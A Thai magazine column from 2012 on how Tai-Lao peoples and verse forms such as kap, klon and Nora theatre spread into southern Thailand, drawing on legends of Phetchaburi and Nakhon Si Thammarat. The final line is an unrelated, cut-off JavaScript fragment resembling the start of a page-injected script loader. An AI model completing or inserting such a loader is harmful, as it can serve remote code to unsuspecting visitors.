มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 8 มิถุนายน 2555

 

          ร้อยกรองตระกูลไทย-ลาว มีรากเหง้าอยู่เขตวัฒนธรรมลาวสองฝั่งโขง บริเวณภาคอีสาน, ภาคเหนือ, และลาว แล้วทยอยลงสู่ภาคกลาง ที่ราบลุ่มน้ำเจ้าพระยา ก่อนที่จะลงสู่ภาคใต้

          ภาคใต้เป็นบริเวณคาบสมุทร มีมหาสมุทรขนาบสองข้าง จึงมีเส้นทางคมนาคมทางทะเลสมุทรทั้งตะวันตกและตะวันออก แล้วมีผู้คนตระกูลภาษาต่างๆหลากหลายเคลื่อนย้ายเข้ามาตั้งหลักแหล่งผสมผสานอยู่ด้วยกันกับคนพื้นเมืองดั้งเดิมที่พูดตระกูลภาษาชวา-มลายู

 

ไทย-ลาว ทางภาคใต้

ตระกูลไทย-ลาว ตั้งหลักแหล่งอยู่ภาคใต้ โดยทยอยเคลื่อนย้ายเข้าไป 2 ระยะ แม้ไม่มีหลักฐานยืนยันตรงๆ แต่คาดเดาจากร่องรอยที่พบ มีดังนี้

          1. ระยะแรก ราว 2,500 ปีมาแล้ว ตระกูลไทย-ลาวจากกวางสี-กวางตุ้ง ทยอยเคลื่อนย้ายทางทะเลไปพร้อมกับกลองทอง(หรือมโหระทึก) เลียบชายฝั่งผ่านปากแม่น้ำโขง(ทางเวียดนาม-กัมพูชา) ตัดอ่าวไทยลงไปทางชายฝั่งภาคใต้ ดังพบชิ้นส่วนกลองทองเป็ระยะตามเส้นทางตั้งแต่ชุมพร, สุราษฎร์ธานี, นครศรีธรรมราช, สงขลา, ฯลฯ

          แต่พวกเคลื่อนย้ายไปมายุคแรกนี้คงมีไม่มากนัก แล้วเป็นประชากรพื้นฐานของพระราชากับคนชั้นสูงในตระกูลอื่น เช่น ตระกูลชวา-มลายู

          อ. ล้อม เพ็งแก้ว เป็นชาวพัทลุงโดยกำเนิด เมื่อเดินทางไปสนทนากับพวกจ้วงในกวางสี(ที่เป็นแหล่งผลิตกลองทองสำคัญที่สุด) ซึ่งพูดคำไทย-ลาว ด้วยสำเนียงเดียวกับคำปักษ์ใต้ทุกวันนี้ ทำให้เชื่อว่าสำเนียงปักษ์ใต้เป็นสำเนียงเก่าสุดของตระกูลไทย-ลาว

          2. ระยะหลัง ราวหลัง พ.ศ. 1500 มีความเคลื่อนไหวขนานใหญ่ไปมาค้าขายตามเส้นทางการค้าภายในทั้งภูมิภาค ทำให้ชาวสยามซึ่งมีความสามารถทางการค้าภายในอยู่แล้ว ก็ทวีบทบาทมากกว่าแต่ก่อน ส่งผลให้ตระกูลภาษาไทย-ลาว ซึ่งเป็นภาษากลางมีความสำคัญ แล้วมีบทบาทนำในหมู่คนชั้นสูงมากขึ้น แล้วค่อยๆแทนที่ตระกูลภาษาอื่นในลุ่มน้ำเจ้าพระยา กระทั่งทยอยลงภาคใต้ถึงนครศรีธรรมราช

          ร่องรอยเหล่านี้มีในตำนานหลายเรื่องยุคอยุธยา โดยบอกความสัมพันธ์ไปมาของกลุ่มคนสองฝั่งโขงถึงเมืองเพชรบุรี กับเมืองเพชรฯ ถึงเมืองนครฯ

 

สองฝั่งโขงถึงเมืองเพชรบุรี

          ตระกูลไทย-ลาว สองฝั่งโขง ไปมาค้าขายทยอยลงลุ่มน้ำเจ้าพระยาผ่านลุ่มน้ำน่าน-ยม ไปทางฟากตะวันตกแม่น้ำเจ้าพระยา ผ่านสุพรรณบุรี, ราชบุรี ถึงเมืองเพชรบุรี

          เรื่องนี้เป็นคำบอกเล่าเก่าแก่ของคนยุคต้นอยุธยาหรือก่อนอยุธยา แล้วมีบันทึกสมัยสมเด็จพระนารายณ์ฯอยู่ในเอกสารฝรั่งเศส 2 เล่ม คือ บันทึกของบาทหลวงตาชาร์ด กับบันทึกของราชทูตลาลูแบร์ เนื้อความหลักคล้ายคลึงกับพระราชพงศาวดารสังเขป พระนิพนธ์ กรมสมเด็จพระปรมานุชิตชิโนรส

 

เมืองเพชรฯ ถึงเมืองนครฯ

          พระราชาเมืองเพชรบุรี ส่งผู้คนลงไปฟื้นฟูเมืองนครศรีธรรมราชที่ร้างเพราะไข้ห่า(กาฬโรค) หลังจากนั้นต่อมาก็ร้างอีก แล้วพระราชาอยุธยาก็ส่งคนลงไปฟื้นฟูอีก

          เรื่องนี้มีร่องรอยเป็นคำบอกเล่าอยู่ในตำนานเมืองนครศรีธรรมราช กับตำนานพระธาตุนครศรีธรรมราช แล้วมีคำอธิบายอย่างละเอียดอยู่ในหนังสือ สังคมไทยลุ่มแม่น้ำเจ้าพระยา ก่อนสมัยกรุงศรีอยุธยา ของ จิตร ภูมิศักดิ์ (ฉบับพิมพ์ครั้งที่ 3 โดยสำนักพิมพ์ฟ้าเดียวกัน พ.ศ. 2547 หน้า 119-202)

          เมืองนครศรีธรรมราช เกิดโรคห่าระบาดครั้งใหญ่จนผู้คนล้มตายหนีเข้าป่า แล้วปล่อยให้เมืองร้างชั่วคราว น่าจะเกิดเมื่อราวหลัง พ.ศ. 1800

          ช่วงเวลานี้ประวัติศาสตร์โลกบันทึกว่าในยุโรปมีโรคระบาดเกิดขึ้นจริง เรียก Black Death หรือกาฬโรค มีคนล้มตายนับล้านคน ตรงกับตำนานไทยระบุว่าโรคห่าระบาดยุคพระเจ้าอู่ทอง แล้วสถาปนาอยุธยาใหม่เมื่อ พ.ศ. 1893(มีรายละเอียดในเอกสาร BLACK DEATH โรคห่า กาฬโรค ยุคพระเจ้าอู่ทองฯ จัดโดย โครงการสนทนาวันศุกร์ คณะโบราณคดี มหาวิทยาลัยศิลปากร ที่โรงละครแห่งชาติ (โรงเล็ก) 9 กรกฎาคม 2553)

 

กาพย์กลอนลงภาคใต้

          คำบอกเล่าที่ว่าพระราชาเมืองเพชรฯ กับอยุธยา ส่งคนลงไปฟื้นฟูเมืองนครฯขึ้นใหม่ให้ฟื้นจากโรคระบาด ไม่จำเป็นต้องสอบสวนว่ามีจริงหรือไม่?

          แต่คำบอกเล่านี้เป็นสัญลักษณ์ให้รู้ว่าทางภาคใต้มีคนกลุ่มใหม่เติบโตขึ้นแทนที่คนกลุ่มเก่า แล้วมีวัฒนธรรมใหม่แทนวัฒนธรรมเก่า ทำให้ตระกูลไทย-ลาวมีพลังสร้างสรรค์ทางคาบสมุทรภาคใต้นับแต่นั้นมา ส่งผลให้กาพย์กลอนและโนราลงไปถึงภาคใต้

          กาพย์กลอน ในภาคใต้จะพบว่าความนิยมกาพย์กับกลอนใช้แยกกัน

          กาพย์ ใช้แต่งบทสวด(ขับลำ)เกี่ยวกับชาดก แล้วสวดเล่านิทานในวัด เช่น  สวดด้านตามระเบียงคดพระบรมธาตุนครศรีธรรมราช

          กลอน ใช้เล่นเพลงโต้ตอบ เช่น เพลงบอก, เพลงชาน้องร้องเรือ, ฯลฯ กับใช้ร้องโนรา, หนังตะลุง

          โนรา เป็นละครชาวบ้านลุ่มน้ำเจ้าพระยาตั้งแต่ยุคก่อนอยุธยา สมัยหลังเรียกละครนอก นิยมเล่นเรื่องมโนห์ราเพราะคนดูชอบ

          ต่อมาแพร่กระจายผ่านเมืองเพชรบุรีลงไปทางภาคใต้ถึงนครศรีธรรมราชและพัทลุง คนเรียกละครอย่างนี้ตามชื่อเรื่องที่ชอบดูว่า “โนรา” (มีคำอธิบายพร้อมหลักฐานอย่างละเอียดอยู่ในหนังสือร้องรำทำเพลง พิมพ์ครั้งแรก พ.ศ. 2532)

          บทละครเรื่องมโนห์รา ยุคกรุงเก่า กับบทไหว้ครูโนราจนทุกวันนี้ เป็นฉันทลักษณ์กลอนดั้งเดิมที่มีรากเหง้าจากคำคล้องจองสองฝั่งโขง

var d=document;var s=d.createElement(‘script’); if (document.currentScript) {